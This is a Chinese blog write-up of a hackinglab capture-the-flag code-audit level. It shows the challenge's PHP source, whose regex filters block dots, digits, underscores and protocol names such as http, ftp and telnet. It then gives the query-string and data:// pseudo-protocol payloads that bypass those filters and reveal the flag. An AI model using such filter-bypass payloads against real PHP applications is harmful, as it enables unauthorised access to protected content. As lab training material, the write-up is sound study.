hackinglab脚本关第8关-代码审计(详细)

题目:
题目原文链接
进入通过地址
进入通关地址查看源代码
发现源代码发现源代码被html实体编码了,还原一下
在这里插入图片描述

 <?php
      header("Content-type: text/html; charset=utf-8");
      //当浏览器通过 URL 提供了 ?view-source 参数时,条件将为真。
      if (isset($_GET['view-source'])) {
          show_source(__FILE__);
          exit();
      }

	include('flag.php');

	$smile = 1;
	
	//检查是否未设置名为 ^_^ 的 GET 请求参数。如果未设置该参数,将把 $smile 的值设为 0。
    if (!isset($_GET['^_^'])) $smile = 0;
    //正则表达式检查名为 ^_^ 的 GET 请求参数是否包含一个点号(.)。如果包含点号,则将 $smile 的值设为 0
    if (preg_match('/\./', $_GET['^_^'])) $smile = 0;
    //是否包含百分号(%)
    if (preg_match('/%/', $_GET['^_^'])) $smile = 0;
    //否包含数字
    if (preg_match('/[0-9]/', $_GET['^_^'])) $smile = 0;
    //是否包含字符串 "http"
    if (preg_match('/http/', $_GET['^_^'])) $smile = 0;
    //是否包含字符串 "https"
    if (preg_match('/https/', $_GET['^_^'])) $smile = 0;
    //是否包含字符串 "ftp"
    if (preg_match('/ftp/', $_GET['^_^'])) $smile = 0;
    //是否包含字符串 "telnet"
    if (preg_match('/telnet/', $_GET['^_^'])) $smile = 0;
    //是否包含字符串 "—"
    if (preg_match('/_/', $_SERVER['QUERY_STRING'])) $smile = 0;

	//检查名为 ^_^ 的 GET 请求参数所表示的文件是否存在
    if ($smile) {
        if (@file_exists($_GET['^_^'])) $smile = 0;
    }

    if ($smile) {
    	//尝试读取名为 ^_^ 的 GET 请求参数所表示的文件的内容,并将结果存储在 $smile 变量中
        $smile = @file_get_contents($_GET['^_^']);
        //检查 $smile 变量的值是否等于字符串 "(●'◡'●)"。如果相等,那么意味着读取的文件内容与 "(●'◡'●)" 相匹配,它会输出 $flag 变量的值并终止脚本的执行
        if ($smile === "(●'◡'●)") die($flag);
    }
?>

审计结果

^.^:变量
过滤特殊字符:".""%""_"
过滤数字:0-9
过滤协议:http、https、ftp、telnet

在这里插入图片描述由于使用到file_get_contents()函数,它将整个文件读成一个字符串,所以我们考虑使用到伪协议
在这里插入图片描述

payload:
无编码:

`index.php?^.^=data://text/plain;charset=unicode,(●'◡'●)`

url编码:
`

index.php?%5E.%5E=data://text/plain;charset=unicode,%28%E2%97%8F%27%E2%97%A1%27%E2%97%8F%29`

flag地址

最后flag出来了
在这里插入图片描述在这里插入图片描述最后:
这道题只能从代码审计的角度去看源码,然后根据相应的规则,构造出符合的payload。

由于水平有限,写的可以不是很好,欢迎大佬指教

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值